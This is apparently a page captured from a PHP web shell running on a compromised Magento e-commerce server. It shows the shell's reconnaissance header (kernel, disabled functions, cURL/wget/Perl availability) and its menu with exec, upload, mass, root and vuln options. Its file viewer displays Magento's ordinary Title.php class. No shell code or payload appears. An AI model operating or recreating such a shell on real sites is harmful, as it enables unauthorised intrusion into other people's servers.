Kernel : Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
Disable function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Safe mode : OFF
Host : diestoffstrasse.com | Server ip : 127.0.0.1 | Your ip : 127.0.0.1 | Time @ Server : 23 Aug 2025 23:39:16
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/dev2.destoffenstraat.com/vendor-1/magento/framework/View/Page/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/dev2.destoffenstraat.com/vendor-1/magento/framework/View/Page/Title.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\View\Page; use Magento\Framework\App; /** * Page title * * @api * @since 100.0.2 */ class Title { /** * Default title glue */ const TITLE_GLUE = ' / '; /** * @var \Magento\Framework\App\Config\ScopeConfigInterface */ private $scopeConfig; /** * @var string[] */ private $prependedValues = []; /** * @var string[] */ private $appendedValues = []; /** * @var string */ private $textValue; /** * @param App\Config\ScopeConfigInterface $scopeConfig */ public function __construct( App\Config\ScopeConfigInterface $scopeConfig ) { $this->scopeConfig = $scopeConfig; } /** * Set page title * * @param string $title * @return $this */ public function set($title) { $this->textValue = $title; return $this; } /** * Retrieve title element text (encoded) * * @return string */ public function get() { return join(self::TITLE_GLUE, $this->build()); } /** * Same as getTitle(), but return only first item from chunk * * @return mixed */ public function getShort() { $title = $this->build(); return reset($title); } /** * Same as getShort(), but return title without prefix and suffix * @return mixed */ public function getShortHeading() { $title = $this->build(false); return reset($title); } /** * @param bool $withConfigValues * @return array */ protected function build($withConfigValues = true) { return array_merge( $this->prependedValues, [$withConfigValues ? $this->addConfigValues($this->textValue) : $this->textValue], $this->appendedValues ); } /** * @param string $title * @return string */ protected function addConfigValues($title) { $preparedTitle = $this->scopeConfig->getValue( 'design/head/title_prefix', \Magento\Store\Model\ScopeInterface::SCOPE_STORE ) . ' ' . $title . ' ' . $this->scopeConfig->getValue( 'design/head/title_suffix', \Magento\Store\Model\ScopeInterface::SCOPE_STORE ); return trim($preparedTitle); } /** * Retrieve default title text * * @return string */ public function getDefault() { $defaultTitle = $this->scopeConfig->getValue( 'design/head/default_title', \Magento\Store\Model\ScopeInterface::SCOPE_STORE ); return $this->addConfigValues($defaultTitle); } /** * @param string $suffix * @return void */ public function append($suffix) { $this->appendedValues[] = $suffix; } /** * @param string $prefix * @return void */ public function prepend($prefix) { array_unshift($this->prependedValues, $prefix); } /** * Unset title * * @return void */ public function unsetValue() { $this->textValue = null; } }